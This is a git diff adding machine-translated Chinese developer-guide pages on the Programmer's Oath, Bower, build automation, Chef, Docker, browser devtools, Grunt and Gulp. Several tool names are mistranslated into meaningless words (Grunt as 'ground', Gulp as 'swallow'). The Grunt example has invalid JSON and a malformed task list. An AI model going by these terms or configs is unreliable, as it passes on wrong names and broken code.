\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-ethics/the-programmers-oath/index.md b/client/src/guide/chinese/developer-ethics/the-programmers-oath/index.md
new file mode 100644
index 0000000000..a0f2c078af
--- /dev/null
+++ b/client/src/guide/chinese/developer-ethics/the-programmers-oath/index.md
@@ -0,0 +1,109 @@
+---
+title: The Programmers Oath
+localeTitle: 程序员誓言
+---
+## 程序员誓言
+
+程序员誓言是由Robert C. Martin创建的誓言，突出了更好的网络指南。誓言如下：
+
+> 为了捍卫和维护计算机程序员的职业荣誉， 我保证，尽我所能和判断力：
+> 
+> 1.  我不会产生有害的代码。
+> 2.  我制作的代码永远是我最好的作品。我不会故意允许在行为或结构上有缺陷的代码累积。
+> 3.  每次发布时，我都会生成一个快速，可靠，可重复的证据，证明代码的每个元素都应该正常工作。
+> 4.  我会经常发布小版本，这样我就不会妨碍其他人的进步。
+> 5.  我会抓住每一个机会无畏地，不懈地改进我的创作。我永远不会贬低他们。
+> 6.  我将尽我所能尽可能保持自己和他人的生产力。我不会做任何降低生产力的事情。
+> 7.  我将继续确保其他人可以为我提供保险，并且我可以为他们提供保险。
+> 8.  我将在幅度和精度上产生诚实的估计。我不会毫无疑问地作出承诺。
+> 9.  我永远不会停止学习和提高我的技艺。
+
+[freeCodeCamp频道上的网络系列](https://www.youtube.com/watch?v=36NgPu9OyRM)分解了誓言的含义，以及如何遵循誓言。
+
+### 承诺1
+
+> 1.  我不会产生有害的代码。
+
+#### 什么是有害代码？
+
+有害代码是对客户，程序员或系统结构有害的代码。 伤害有许多不同的形式。作为一名专业程序员， **您**承诺不会产生有害的代码，无论您的判断中的伤害是什么，也不会产生同行的判断。
+
+### 承诺2
+
+> 2.  我制作的代码永远是我最好的作品。我不会故意允许在行为或结构上有缺陷的代码累积。
+
+作为一名程序员，你想要相信做到最好的工作，而你永远不希望遇到你发布的代码明知不是你最好的工作。
+
+您不希望允许有缺陷的代码在系统中累积。您可能无法阻止它进入您的系统（例如发布紧急情况），但您不会允许它通勤累积。
+
+请注意，在承诺中，誓言中有“行为”和“结构”两个方面。行为有缺陷的东西**显然是个问题，**但是结构缺陷的代码会降低团队成员的工作效率，直到你几乎无法完成任何工作。
+
+### 承诺3
+
+> 3.  每次发布时，我都会生成一个快速，可靠，可重复的证据，证明代码的每个元素都应该正常工作。
+
+客户，用户甚至是商务人员都希望我们能够不定期地证明我们的代码能够按预期运行。请注意，在誓言中有快速，确定和可重复的单词。您希望能够在一瞬间证明代码仍然按预期工作。
+
+如果您添加一个新功能，不会破坏任何旧功能，或者修复一个不会破坏过去任何东西的新结构，您希望能够快速，轻松地显示代码仍然执行的操作它打算这样做。
+
+### 承诺4
+
+> 4.  我会经常发布小版本，这样我就不会妨碍其他人的进步。
+
+说这个的简单方法是不检查一些东西，并检查**一个月的**东西。一种更有见地的说法，就是说你在代码中所做的一切，你应该只做一小步。如果你正在做的事情是阻止其他人，那么它不能长时间阻止它们， **因为**你是在小步骤中完成它。
+
+在小步骤中工作的优势是巨大的。确保在提交时执行操作时，每小时都会提交一次。办理登机手续时，请经常办理登机手续。合并时，您经常合并。
+
+### 承诺5
+
+> 5.  我会抓住每一个机会无畏地，不懈地改进我的创作。我永远不会贬低他们。
+
+只要您在代码，测试或发布结构中发现问题，就**可以对其进行改进** 。即使你没有看到问题，看看你的代码并对自己说：“我敢打赌，我可以通过某种方式改善这一点。我可以通过某种方式改善这一点。”
+
+我们是人类，我们让事情变得更好。这就是人类所做的，或者至少是我们希望人类做的事情。我们将不断改进我们的代码，并且不会故意降级它。永远不要让它变得更糟
+
+### 承诺6
+
+> 6.  我将尽我所能尽可能保持自己和他人的生产力。我不会做任何降低生产力的事情。
+
+这就是考虑你的队友和同事。与您合作的人员以及依赖您代码的人员。例如，不要做任何让其他人放慢速度的事情。不要写一个包含太多参数的函数，或者弄乱别人的代码。不要这样做，以编码其他人所依赖的代码，因为它只会**减慢他们的速度** 。
+
+不要将长时间运行的测试放入测试套件中。保持这些测试快速运行。始终考虑你的队友。始终考虑环境。保持一切顺利。不要妨碍他们的生产力。
+
+### 承诺7
+
+> 7.  我将继续确保其他人可以为我提供保险，并且我可以为他们提供保险。
+
+这是我们经常忽略的事情。我们是一个团队，团队的行为方式是，如果另一个队友失败，另一个队友将为他们提供帮助。
+
+在软件中，这意味着，您需要知道您的团队成员的工作方式，脚本的位置，文件的位置，代码的结构，等等。
+
+如果他们失败了，我们不希望我们团队的知识孤岛，我们希望知识传播。
+
+一种方法是通过结对编程。确保您可以相互覆盖。
+
+### 承诺8
+
+> 8.  我将在幅度和精度上产生诚实的估计。我不会毫无疑问地作出承诺。
+
+程序员最大的问题之一就是他们做出了被认为是承诺的估计。当你做出估计时，你需要非常清楚它是一个猜测，而不是一个非常好的猜测。我会确保当你做估计时，你可以用三个数字来表示它们：最好的情况，最坏的情况和名义上的情况。确保每个人都知道更糟糕的情况可能发生。
+
+不要做出你不确定可以完成的承诺。如果你做出承诺，你必须保留它。
+
+当有人对你说“我需要在星期二之前完成这件事”，并且你不确定你是否可以在星期二之前完成它，那么你就不会答应。你说“ **不** ，我不确定我能否在星期二之前完成这件事。”请仔细注意，因为有人可能会说你**试试** ，而你的答案就是“我已经在尝试了”。你已经在努力了，所以永远不要让任何人说服你更努力。
+
+### 承诺9
+
+> 9.  我永远不会停止学习和提高我的技艺。
+
+这不需要太多解释。你应该总是尝试学习新的语言，新的框架，新的技术，新的disiplines，新的过程。你需要应用你所学到的东西，不断推动你的工艺。
+
+### 承诺10
+
+> 10.  我只会制作符合道德规范的代码。
+
+程序员应该努力开发能够减少对社会的负面影响的计算机系统，例如对安全和健康的威胁，并且可以使日常活动和工作更容易。这是“发展到高标准的义务”。
+
+### **结论：**
+
+也许我们应该做出更多的承诺，事实上，许多这些承诺**可能都不实际** 。然而，所有这些承诺在某种程度上都是重要的，并且作为专业程序员会采取的誓言是合理的。
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/bower/index.md b/client/src/guide/chinese/developer-tools/bower/index.md
new file mode 100644
index 0000000000..bfde720383
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/bower/index.md
@@ -0,0 +1,33 @@
+---
+title: Bower
+localeTitle: 鲍尔
+---
+## 鲍尔
+
+Bower是网络的包管理器。 Bower可以管理包含HTML，CSS，JavaScript，字体甚至图像文件的组件。 Bower针对前端进行了优化。如果多个包依赖于一个包 - 例如jQuery - Bower将只下载一次jQuery。这称为平面依赖图，它有助于减少页面加载。
+
+### 安装Bower
+
+Bower是一个命令行实用程序。用npm安装它。
+
+```shell
+    npm install -g bower 
+```
+
+### 安装包
+
+使用bower安装安装包。 Bower将软件包安装到bower\_components /。
+
+```shell
+    bower install <package> 
+```
+
+### 更多信息：
+
+Bower网站： [bower.io](https://bower.io)
+
+使用Bower管理前端资源： [scotch.io](https://scotch.io/tutorials/manage-front-end-resources-with-bower)
+
+使用Bower： [youtube](https://www.youtube.com/watch?v=Vs2wduoN9Ws)简化Web工作流程
+
+使用Bower与Heroku： [中等](https://hackernoon.com/using-bower-with-heroku-cdc791320c88)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/build-automation/index.md b/client/src/guide/chinese/developer-tools/build-automation/index.md
new file mode 100644
index 0000000000..f08ec7d6a8
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/build-automation/index.md
@@ -0,0 +1,41 @@
+---
+title: Build Automation
+localeTitle: 构建自动化
+---
+## 构建自动化
+
+Build是软件程序的一个版本。该术语用于指仍在开发中的程序。构建自动化是自动创建软件构建和相关过程的过程，包括：将计算机源代码编译为二进制代码，打包二进制代码和运行自动化测试。构建自动化软件可在软件开发过程中自动执行常用任务。 当创建软件的步骤可重复时，构建是自动化的，不需要直接的人为干预，并且可以在任何时间执行，而不存储源代码控制存储库中存储的信息。构建自动化软件通常与软件测试产品，版本控制系统，IDE，错误跟踪工具和PaaS提供程序集成。 从历史上看，构建自动化是通过“makefile”完成的。今天，构建自动化有两大类工具：
+
+## \- 构建自动化工具：
+
+其主要目的是通过编译和链接源代码等活动生成构建工件。
+
+## \- 构建自动化服务器：
+
+它们是基于Web的通用工具，可以按计划或触发方式执行构建自动化实用程序;持续集成服务器是一种构建自动化服务器。
+
+构建自动化有三个子类别：持续集成，配置管理和其他构建自动化。
+
+下面是与自动化构建过程相关的一些值得注意的工具列表：
+
+*   GNU make
+*   使
+*   MK
+*   Apache Ant
+*   BitBake的
+*   靴
+*   忍者
+*   Qt构建系统
+*   耙
+*   堆
+*   Psake
+*   的MSBuild
+*   Visual Build
+*   调教
+*   WAF
+*   [詹金斯](https://jenkins.io/)
+*   TeamCity和其他人。
+
+#### 更多信息：
+
+[什么是Build Automation？](https://www.agilealliance.org/glossary/automated-build/#q=~(filters~(postType~(~'page~'post~'aa_book~'aa_event_session~'aa_glossary~'aa_organizations~'aa_research_paper~'aa_video)~tags~(~'automated*20build))~searchTerm~'~sort~false~sortDirection~'asc~page~1)) [构建自动化软件列表](https://en.m.wikipedia.org/wiki/List_of_build_automation_software) [构建自动化 - 维基百科](https://en.m.wikipedia.org/wiki/Build_automation) [Webopedia](https://www.webopedia.com/TERM/B/build.html) [构建自动化](https://www.g2crowd.com/categories/build-automation)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/certbot/index.md b/client/src/guide/chinese/developer-tools/certbot/index.md
new file mode 100644
index 0000000000..63674c621d
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/certbot/index.md
@@ -0,0 +1,13 @@
+---
+title: Certbot
+localeTitle: Certbot
+---
+## Certbot
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/certbot/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+https://certbot.eff.org/ 使用EFF的Certbot在您的网站上自动启用HTTPS，部署Let的加密证书。
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/chef/index.md b/client/src/guide/chinese/developer-tools/chef/index.md
new file mode 100644
index 0000000000..ad9be19461
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/chef/index.md
@@ -0,0 +1,74 @@
+---
+title: Chef
+localeTitle: 领导者
+---
+## 厨师
+
+Chef是一种自动化工具，可将基础架构转换为代码。换句话说，它是一种用于自动创建和配置基础结构的工具。它还用于在创建基础结构后维护它。
+
+### 为何使用Chef
+
+在完全完成并经过测试的应用程序投入生产之前，需要考虑几件事情。一些主要的事情是，
+
+*   基础设施创建（云或内部部署）
+*   组态
+*   维护基础设施
+
+您可以手动创建基础架构，对其进行配置和维护。这是一个非常繁琐的过程，犯错误的可能性很高。任何手册都需要大量关注细节，在团队中进行其他培训，并不断关注它以确保一切按预期工作。如果您的应用程序快速发展，那么每次进入生产时您都必须手动完成所有这些工作。
+
+Chef是一个有助于自动执行此过程的工具。您为您的基础架构编写代码（chef使用_Ruby_ ）并对其进行源代码控制。 Chef将阅读此代码以自动创建和配置您的基础架构。使用Chef的优点是，
+
+*   基础架构创建和配置自动化
+*   监控和维护是自动化的
+*   错误的可能性微不足道
+*   基础设施受源控制
+*   快速且经常地部署应用程序
+
+### 大图和组件
+
+![Chef big picture](https://docs.chef.io/_images/chef_overview.svg "厨师概述")
+
+主要组成部分是，
+
+*   食谱和食谱
+*   节点
+*   工作站
+*   厨师服务器
+*   厨师客户
+
+#### 食谱和食谱
+
+Cookbook是配置的基本单位。它定义了一个场景，并包含支持该场景所需的所有内容。 Cookbook包含以下内容，
+
+*   食谱
+*   属性值
+*   文件分发
+*   模板
+*   自定义资源和库的扩展
+
+配方是最基本的配置元素。它使用_Ruby_编写，包含配置系统所需的一组资源。它必须存储在食谱中。
+
+#### 节点
+
+节点是由Chef管理的任何计算机。它可以是物理，虚拟，云，网络设备等。
+
+#### 工作站
+
+工作站（大图中的蓝色区域）是运行Chef Development Kit（ChefDK）的计算机，用于开发和测试烹饪书和食谱。基本上，它是您的本地计算机，您可以在其中编写和测试稍后用于自动化基础结构的Chef脚本。 Workstation的Chef脚本在准备好后上传到Chef Server。
+
+#### 厨师服务器
+
+厨师服务器充当配置数据的中心。它存储基础结构创建和配置所需的所有配置数据，如烹饪书，配方，模板和文件分发。
+
+#### 厨师客户
+
+Chef Client是在Chef管理的每个节点上本地运行的代理。它与Chef Server通信以获取配置节点所需的配置数据。 Chef客户端负责运行所有必需的步骤以使节点进入预期状态。不同的步骤包括，
+
+*   使用Chef服务器注册和验证节点
+*   同步Cookbook
+*   编译并运行所需的配方
+*   处理异常和通知
+
+#### 更多信息：
+
+可以在此处找到更详细的文档 - [Chef文档](https://docs.chef.io/chef_overview.html "厨师")
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/index.md b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/index.md
new file mode 100644
index 0000000000..c43ae379d6
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/index.md
@@ -0,0 +1,25 @@
+---
+title: Chrome Developer Tools
+localeTitle: Chrome开发者工具
+---
+## Chrome Firefox开发工具
+
+Chrome和Firefox Developer工具可帮助Web开发人员分析网页上的HTML，CSS和Javascript。它们可用于调试，优化代码，检查元素等等。
+
+**特征：**
+
+*   **页面检查器：**查看和编辑页面内容和布局。
+*   **Web控制台：**请参阅javascript console.log（）消息和错误
+*   **JavaScript调试器：**查看和修改页面上运行的JavaScript
+*   **网络监视器：**查看加载页面时发出的网络请求
+*   **性能工具：**分析站点使用的计算机资源
+
+### 访问开发工具
+
+1.  在屏幕顶部的菜单栏中，选择View> Developer> Developer Tools。这些工具将显示在底部，侧面或弹出窗口中。
+2.  在网页上右键单击元素。出现菜单时，选择“检查”。
+
+### 更多信息：
+
+*   [Chrome DevTools](https://developer.chrome.com/devtools)
+*   [Firefox开发者工具](https://developer.mozilla.org/en-US/docs/Tools)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-console/index.md b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-console/index.md
new file mode 100644
index 0000000000..8d15db0b7f
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-console/index.md
@@ -0,0 +1,11 @@
+---
+title: JavaScript Console
+localeTitle: JavaScript控制台
+---
+## JavaScript控制台
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-console/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-debugger/index.md b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-debugger/index.md
new file mode 100644
index 0000000000..86d2df5ae4
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-debugger/index.md
@@ -0,0 +1,11 @@
+---
+title: JavaScript Debugger
+localeTitle: JavaScript调试器
+---
+## JavaScript调试器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-debugger/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/network-performance/index.md b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/network-performance/index.md
new file mode 100644
index 0000000000..1a9b1c30b6
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/network-performance/index.md
@@ -0,0 +1,11 @@
+---
+title: Network Performance
+localeTitle: 网络性能
+---
+## 网络性能
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/network-performance/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/profiling-memory-and-execution/index.md b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/profiling-memory-and-execution/index.md
new file mode 100644
index 0000000000..8c684f50eb
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/profiling-memory-and-execution/index.md
@@ -0,0 +1,11 @@
+---
+title: Profiling Memory and Execution
+localeTitle: 分析内存和执行
+---
+## 分析内存和执行
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/profiling-memory-and-execution/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/render-performance/index.md b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/render-performance/index.md
new file mode 100644
index 0000000000..f318c4a6e1
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/render-performance/index.md
@@ -0,0 +1,11 @@
+---
+title: Render Performance
+localeTitle: 渲染性能
+---
+## 渲染性能
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/render-performance/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/screenshot-utility/index.md b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/screenshot-utility/index.md
new file mode 100644
index 0000000000..375349216e
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/screenshot-utility/index.md
@@ -0,0 +1,15 @@
+---
+title: Useful screenshot shortcuts
+localeTitle: 有用的截图快捷方式
+---
+### DevTools截图功能
+
+使用Chrome开发者工具时，捕获整个页面的屏幕截图会很有用。虽然有附加组件可以实现这一点，但谷歌浏览器内置了自己的功能。
+
+## 脚步
+
+1.  打开Chrome Devtools
+2.  在Devtools中Ctrl + P（Mac上的Cmd + P）
+3.  开始输入> screenshot
+4.  从可用功能中进行选择（捕获全尺寸截图到目前为止我最有用）
+5.  享受您的新截图
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/firefox-developer-tools/index.md b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/firefox-developer-tools/index.md
new file mode 100644
index 0000000000..423eda5865
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/firefox-developer-tools/index.md
@@ -0,0 +1,11 @@
+---
+title: Firefox Developer Tools
+localeTitle: Firefox开发者工具
+---
+## Firefox开发者工具
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/firefox-developer-tools/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/index.md b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/index.md
new file mode 100644
index 0000000000..de2b0c5c35
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/index.md
@@ -0,0 +1,11 @@
+---
+title: Developer Tools in Browsers
+localeTitle: 浏览器中的开发人员工具
+---
+## 浏览器中的开发人员工具
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/internet-explorer-developer-tools/index.md b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/internet-explorer-developer-tools/index.md
new file mode 100644
index 0000000000..60005af2b5
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/developer-tools-in-browsers/internet-explorer-developer-tools/index.md
@@ -0,0 +1,11 @@
+---
+title: Internet Explorer Developer Tools
+localeTitle: Internet Explorer开发人员工具
+---
+## Internet Explorer开发人员工具
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/internet-explorer-developer-tools/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/docker/index.md b/client/src/guide/chinese/developer-tools/docker/index.md
new file mode 100644
index 0000000000..287217cd36
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/docker/index.md
@@ -0,0 +1,68 @@
+---
+title: Docker
+localeTitle: 搬运工人
+---
+Docker是一个旨在促进应用程序部署的开源软件。它提供了构建容器的可能性，包括操作系统， 库以及运行应用程序所需的一切。因此，您的应用程序可以部署在任何计算机上。它的轻量级结构使您能够 在同一台机器上运行几个容器。容器映像是一个轻巧，独立，可执行的软件包，包含所有内容 需要运行它。
+
+### 特征
+
+在一台机器上运行的Docker容器共享该机器的操作系统内核;它们立即启动并使用较少的计算和RAM。图像是 从文件系统层构造并共享公共文件。这样可以最大限度地减少磁盘使
+
+Docker容器基于开放标准，可在所有主要的\* nix发行版，Microsoft Windows以及包括虚拟机，裸机在内的任何基础架构上运行 在云端。
+
+Docker容器将应用程序彼此隔离，并与底层基础架构隔离。 Docker提供了最强的默认隔离来限制应用程序 问题发生在单个容器而不是整个机器上。
+
+## 概观
+
+容器映像是一个轻量级，独立的，可执行的软件包，包含运行它所需的一切：代码，运行时，系统工具，系统库，设置。适用于基于Linux和Windows的应用程序，无论环境如何，容器化软件都将始终运行相同。容器将软件与周围环境隔离开来，例如开发和登台环境之间的差异，有助于减少在同一基础架构上运行不同软件的团队之间的冲突。
+
+### 也可以看看
+
+*   Docker Compose：同时创建和管理多个容器。
+
+### 容器与虚拟机
+
+*   容器虚拟化操作系统使其更具可移植性，而虚拟机虚拟化硬件。
+*   容器是应用程序层的抽象，它将代码和依赖关系打包在一起。虚拟机是物理硬件的抽象，将一台服务器转变为多台服务器。 Hypervisor可帮助VM执行此操作。
+*   [容器不是VMS](https://blog.docker.com/2016/03/containers-are-not-vms/)
+
+### 安装Docker
+
+Docker有两个版本：Community Edition（CE）和Enterprise Edition（EE）。
+
+[从这里安装它](https://docs.docker.com/engine/installation/)
+
+一旦安装，试试这个
+```
+$ docker run hello-world 
+ 
+ Hello from Docker! 
+```
+
+此消息表明您的安装似乎正常工作。
+
+### 在哪里使用Docker
+
+*   [8种经过验证的实际使用Docker的方法](https://www.airpair.com/docker/posts/8-proven-real-world-ways-to-use-docker)
+    
+*   [什么是Docker以及何时使用它](https://www.ctl.io/developers/blog/post/what-is-docker-and-when-to-use-it/)
+    
+
+### Docker教程
+
+*   [文档](https://docs.docker.com/get-started/)
+    
+*   [适合初学者的Docker](https://docker-curriculum.com/)
+    
+*   [Docker教程和课程](https://hackr.io/tutorials/learn-docker)
+    
+*   [Docker培训。从Docker学习Docker。官方Docker培训。](https://training.docker.com/)
+    
+
+#### 更多信息：
+
+您可以在以下站点中找到大量信息：
+
+*   [Docker网站](https://www.docker.com/)
+*   [Docker文档](https://docs.docker.com/)
+*   [DockerHub](https://hub.docker.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/grunt/index.md b/client/src/guide/chinese/developer-tools/grunt/index.md
new file mode 100644
index 0000000000..9f620e0f07
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/grunt/index.md
@@ -0,0 +1,119 @@
+---
+title: Grunt
+localeTitle: 地面
+---
+## 咕噜
+
+`Grunt`是一个JavaScript任务运行器，可用于自动执行重复性任务。
+
+### 为什么要使用Grunt？
+
+Web开发中有许多重复的任务。例如：编译，缩小和复制文件。手动完成这些任务需要花费很多精力和时间。
+
+Grunt可以让您的工作更轻松。您只需要通过[Gruntfile](https://gruntjs.com/sample-gruntfile)配置任务。
+
+### 入门
+
+1.  安装[npm](https://www.npmjs.org/) 。
+2.  使用`npm install -g grunt-cli`全局安装Grunt的命令行界面（CLI）。
+3.  将Grunt和Grunt插件列为`package.json`文件中的devDependencies。
+4.  用`npm i`安装Grunt和Grunt插件。
+5.  在`Gruntfile.js`文件中配置任务。
+6.  用`grunt`跑Grunt。
+
+### 例
+
+下面是`package.json`和`Gruntfile.js`的示例，用于执行以下任务：
+
+1.  缩小HTML文件。
+2.  添加供应商前缀并缩小CSS文件。
+3.  连接和缩小JavaScript文件。
+4.  缩小图像。
+
+#### 的package.json
+
+```json
+{ 
+  "name": "project-name", 
+  "version": "0.1.0", 
+  "devDependencies": { 
+    "grunt": "latest", 
+    "grunt-contrib-htmlmin": "latest", 
+    "grunt-postcss": "latest", 
+    "autoprefixer": "latest", 
+    "cssnano": "latest", 
+    "grunt-contrib-uglify": "latest", 
+    "grunt-contrib-imagemin": "latest", 
+  } 
+ } 
+```
+
+#### Gruntfile.js
+
+```javascript
+module.exports = function(grunt) { 
+ 
+  grunt.initConfig({ 
+    htmlmin: { 
+      options: { 
+        removeComments: true, 
+        collapseWhitespace: true 
+      }, 
+      html: { 
+        files: [{ 
+          expand: true, 
+          cwd: "src/", 
+          src: "**/*.html", 
+          dest: "dest/" 
+        }] 
+      } 
+    }, 
+ 
+    postcss: { 
+      options: { 
+        processors: [ 
+          require("autoprefixer")(), 
+          require("cssnano")() 
+        ] 
+      }, 
+      css: { 
+        src: "dest/css/*.css" 
+      } 
+    }, 
+ 
+     uglify: { 
+      js: { 
+        files: { 
+          "dest/js/main.js": "src/js/*.js" 
+        } 
+      }, 
+    }, 
+ 
+    imagemin: { 
+      img: { 
+        options: { 
+          optimizationLevel: 5, 
+          quality: 75 
+        }, 
+        files: [{ 
+          expand: true, 
+          cwd: "src/img/", 
+          src: "**", 
+          dest: "dest/img/" 
+        }] 
+      } 
+    }, 
+  }); 
+ 
+  grunt.loadNpmTasks("grunt-contrib-htmlmin"); 
+  grunt.loadNpmTasks("grunt-postcss"); 
+  grunt.loadNpmTasks("grunt-contrib-uglify"); 
+  grunt.loadNpmTasks("grunt-contrib-imagemin"); 
+ 
+  grunt.registerTask("default", ["htmlmin", "postcss", "uglify, imagemin"]); 
+ }; 
+```
+
+#### 更多信息：
+
+Grunt文档： [入门](https://gruntjs.com/getting-started)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/gulp/index.md b/client/src/guide/chinese/developer-tools/gulp/index.md
new file mode 100644
index 0000000000..9b3387b962
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/gulp/index.md
@@ -0,0 +1,66 @@
+---
+title: Gulp
+localeTitle: 吞
+---
+## 吞
+
+`Gulp`是一个JavaScript任务运行器，用于自动执行作为JavaScript开发工作流程一部分的各种任务。 它用于运行已编程的任务，其主要用例是执行重复操作，这些操作用作JavaScript项目的构建过程的路径。
+
+### 为什么Gulp是有用的
+
+这些任务通常包括`code minification` （从html文件中删除空格和缩短变量名称以缩小文件大小）和`css bundling` （将多个CSS文件转换为一个用于与应用程序一起分发），这些都是优化代码加载所需的在网络浏览器中快速。
+
+`Gulp`在上述情况下有用的原因是缩小和捆绑过程需要在每次更改时发生。每次更改手动执行此操作都不会有效，这是`Gulp`这样的工具自动执行此操作对于JavaScript开发人员来说是一个很好的工具。
+
+除了上面相对简单的例子， `Gulp`还有数百个插件，可以自动执行更复杂的任务。这些任务可以包括以下内容：
+
+*   运行单元测试以测试代码是否正常工作。
+*   每次保存文件时刷新Web浏览器，即可立即查看更改。
+*   将`SASS` / `LESS`转换为`CSS` ，以便可以在浏览器中使用。
+*   优化图像以创建具有较低文件大小的`web friendly`版本以提高速度。
+
+### 如何使用Gulp
+
+要开始使用`Gulp` ，第一步是使用`npm`安装它。安装后，必须创建`gulpfile.js` 。此`gulpfile`是一个文件，其中包含应作为自动化过程的一部分运行的所有`Gulp`任务。任务是用JavaScript编写的。下面是一个非常简单的`gulpfile`示例，它从`client/templates`文件夹中获取任何`CSS`文件，缩小它们并将缩小的文件放在`build/css`文件夹中。
+
+```javascript
+var gulp = require('gulp'); 
+ var minifyCSS = require('gulp-csso'); 
+ 
+ gulp.task('css', function(){ 
+  return gulp.src('client/templates/*.css') 
+    .pipe(minifyCSS()) 
+    .pipe(gulp.dest('build/css')) 
+ }); 
+```
+
+要运行此gulp任务，您只需在项目根目录中的终端中键入`gulp css` 。
+
+要查看CSS文件以进行任何更改，请在保存后运行“css”任务。
+
+```javascript
+gulp.watch('css') 
+  .on('change', ['css']); 
+```
+
+### 任务依赖项
+
